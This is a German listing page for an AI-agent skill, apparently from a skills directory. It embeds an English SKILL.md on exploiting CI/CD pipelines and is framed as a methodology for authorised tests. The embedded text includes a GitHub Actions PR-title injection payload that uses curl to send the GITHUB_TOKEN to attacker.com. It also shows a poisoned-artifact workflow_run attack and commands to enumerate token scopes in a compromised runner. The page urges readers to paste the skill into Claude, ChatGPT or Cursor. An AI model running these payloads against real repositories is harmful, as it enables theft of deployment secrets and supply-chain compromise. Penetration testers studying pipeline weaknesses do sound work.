offensive-cicd-pipeline
Was er macht
Dieser Skill ist eine Methodik für Tests von CI/CD-Pipelines in autorisierten Prüfungen. Er behandelt GitHub-Actions-Injection, Angriffspfade in Jenkins und Lieferkettenrisiken in Build-Systemen. Er ist für Sicherheitsfachleute gedacht, die prüfen, wie Build-Pipelines missbraucht werden können.
Wann du ihn nutzt
- ✓Wenn du einen GitHub-Actions-Workflow auf Injection-Risiken in einer autorisierten Prüfung testest.
- ✓Wenn du einen Jenkins-Server in einem freigegebenen Test auf riskante Skripte oder offengelegte Zugangsdaten prüfen willst.
- ✓Wenn du Token-Berechtigungen und Auslöser der Pipeline auf Risiken für die Lieferkette prüfen musst.
Link zum Skill
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/cicd/offensive-cicd-pipeline/SKILL.mdKopiere ihn und füge ihn in deine KI ein (Claude, ChatGPT oder Cursor) mit der Bitte, den Anweisungen zu folgen.
So nutzt du ihn
Am einfachsten: Kopiere die Nachricht und füge sie in deine KI ein. Sie liest den Skill und folgt den Anweisungen.
Fertige Nachricht zum Einfügen
Für Claude Code, Codex oder Cursor: Führe den Befehl in deinem Projektordner aus, dann wird der Skill installiert.
Lade die SKILL.md herunter und lege sie in den Skills-Ordner deines Agenten.
Beispielanfrage an deine KI
“Wir sind autorisiert, unsere CI-Pipelines zu testen. Prüfe die GitHub-Actions-Workflows auf Injection-Risiken.”
5 neue Skills pro Woche. 1 Minute Lesezeit.
So funktioniert es
Der Skill listet die Pipeline-Konfigurationen auf, findet die Ereignisse und Eingaben, die ein Angreifer steuern könnte, und kartiert die Berechtigungen der Token. Danach wählt er die Testmethode, die zur getesteten Zugriffsstufe passt.
Technischer Inhalt (originale SKILL.md)
Originaltext des Autors, auf Englisch, direkt von GitHub.
Offensive CI/CD Pipeline Exploitation
CI/CD pipelines represent one of the highest-value targets in modern infrastructure. A compromised pipeline grants code execution in trusted contexts, access to deployment credentials, and the ability to inject malicious code into production artifacts. You exploit the implicit trust that organizations place in their build systems -- pipelines run code with elevated privileges, hold secrets for deployment, and operate with minimal monitoring compared to production systems.
This skill covers exploitation across the four dominant CI/CD platforms. You enumerate pipeline configurations, identify injection points, escalate from contributor-level access to arbitrary code execution, and leverage pipeline trust to move laterally through environments.
MITRE ATT&CK: T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain)
Quick Workflow
- Enumerate accessible repositories and their pipeline configurations (.github/workflows/, Jenkinsfile, .gitlab-ci.yml, azure-pipelines.yml).
- Identify the trigger model -- which events execute pipelines, and which contexts carry attacker-controlled input.
- Map token scopes and available secrets for each pipeline context.
- Select the injection vector matching your access level (contributor, external PR, authenticated user).
- Craft the payload for the target platform's expression language or script engine.
- Execute and capture output -- secrets, tokens, or artifact modification.
- Pivot using captured credentials to expand access to other pipelines, registries, or infrastructure.
GitHub Actions Expression Injection
GitHub Actions evaluates expressions in ${{ }} contexts. When attacker-controlled data flows into
these expressions without sanitization, you achieve arbitrary command injection in the runner context.
The most common injection surfaces are PR titles, issue bodies, branch names, and commit messages
that flow into run: steps or action inputs.
Identify vulnerable workflows by searching for direct interpolation of event data:
# Search for expression injection sinks in workflow files
grep -rn '\${{.*github\.event\.' .github/workflows/
grep -rn '\${{.*github\.head_ref' .github/workflows/
grep -rn '\${{.*github\.event\.pull_request\.title' .github/workflows/
grep -rn '\${{.*github\.event\.issue\.body' .github/workflows/
grep -rn '\${{.*github\.event\.comment\.body' .github/workflows/
grep -rn '\${{.*github\.event\.discussion\.body' .github/workflows/
A vulnerable workflow looks like this:
# Vulnerable: PR title flows directly into shell execution
name: PR Greeting
on: pull_request_target
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: |
echo "Thanks for PR: ${{ github.event.pull_request.title }}"
You inject through the PR title:
"; curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) #
For workflow_run abuse, a workflow triggered by workflow_run runs in the context of the default
branch but can access artifacts from the triggering workflow. You upload a poisoned artifact from a
PR workflow, then the workflow_run workflow processes it with elevated privileges:
# Attacker's PR modifies the artifact upload step
- uses: actions/upload-artifact@v4
with:
name: pr-data
path: payload.sh
# The workflow_run handler in the default branch processes artifacts unsafely
on:
workflow_run:
workflows: ["PR Build"]
types: [completed]
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/download-artifact@v4
- run: bash pr-data/payload.sh # Executes attacker's code with write access
Enumerate GITHUB_TOKEN permissions to understand your execution scope:
# Inside a compromised workflow step, dump token permissions
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
-H "Accept: application/vnd.github+json" \
https://api.github.com/repos/$GITHUB_REPOSITORY | jq '.permissions'
# Check if the token can push to the repository
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
https://api.github.com/repos/$GITHUB_REPOSITORY/git/refs/heads/main
Composite action supply chain attacks target reusable actions referenced without SHA pinning:
# Vulnerable: references a tag that can be force-pushed
- uses: org/custom-action@v1
# Secure: references an immutable commit SHA
- uses: org/custom-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2
Use gato to enumerate a
Häufige Fragen
Welche CI/CD-Plattformen deckt er ab?
GitHub Actions, Jenkins und weitere gängige Pipelines, einschließlich GitLab und Azure.
Was ist eine zu große Token-Berechtigung?
Wenn ein Pipeline-Token mehr Rechte hat, als der Job braucht. Der Skill prüft darauf.
Ist er nur für autorisierte Tests gedacht?
Ja. Der Skill ist für Prüfungen mit schriftlicher Genehmigung geschrieben.
Details
Originalbeschreibung des Autors
Comprehensive CI/CD pipeline exploitation methodology covering GitHub Actions injection vectors (expression injection via PR titles and issue bodies, workflow_run event abuse, GITHUB_TOKEN over-scoping, composite action supply chain compromise), Jenkins attack paths (Groovy sandbox escapes, script console remote code execution, Java remoting deserialization, credential store dumping, shared library injection), GitLab CI exploitation (YAML anchor injection, runner registration token abuse, CI variable extraction, protected branch bypass via merge request pipelines), and Azure DevOps pipeline ag
repo: SnailSploit/Claude-Red
Beliebtheit
- GitHub-Sterne
- 10k
- Platz im Ranking
- #11948
- Lizenz
- MIT
- Aktualisiert
- 12.10.2026
Kommentare
- …
Weitere Skills aus diesem Repository
offensive-active-directory
10kHilft deinem Agenten, einen autorisierten Sicherheitstest für Active Directory zu planen, von der Kartierung des Netzwerks bis zu Angriffspfaden zu Domain Admin.
offensive-netexec
10kHilft deinem Agenten, das Werkzeug NetExec (nxc) für autorisierte Netzwerktests zu nutzen, mit Protokollen, Authentifizierung und Prüfung von Zugangsdaten.
offensive-api-abuse
10kHilft deinem Agenten, autorisierte API-Sicherheitstests zu planen, die nach Missbrauch der Geschäftslogik, GraphQL-Risiken und Race Conditions suchen.
offensive-api-security
10kHilft deinem Agenten, autorisierte Sicherheitstests für REST-, gRPC- und WebSocket-APIs auf Grundlage der OWASP API Top 10 durchzuführen.
Ähnliche Skills
reverse-engineer-anything
422kHilft deinem Agenten, fertige Apps und Pakete zu untersuchen, um Funktionen zu erklären, Versionen zu vergleichen oder einen Nachbau zu leiten, mit dem REA-Tool.
1password
394kHilft deinem Agenten, die 1Password-Kommandozeile einzurichten, sich anzumelden und Geheimnisse zu lesen oder einzufügen, ohne deren Werte im Chat auszugeben.
healthcheck
394kHilft deinem Agenten, den Computer oder Server, auf dem OpenClaw läuft, auf Sicherheitsrisiken wie SSH, Firewall, Updates und Backups zu prüfen und sichere Korrekturen vorzuschlagen.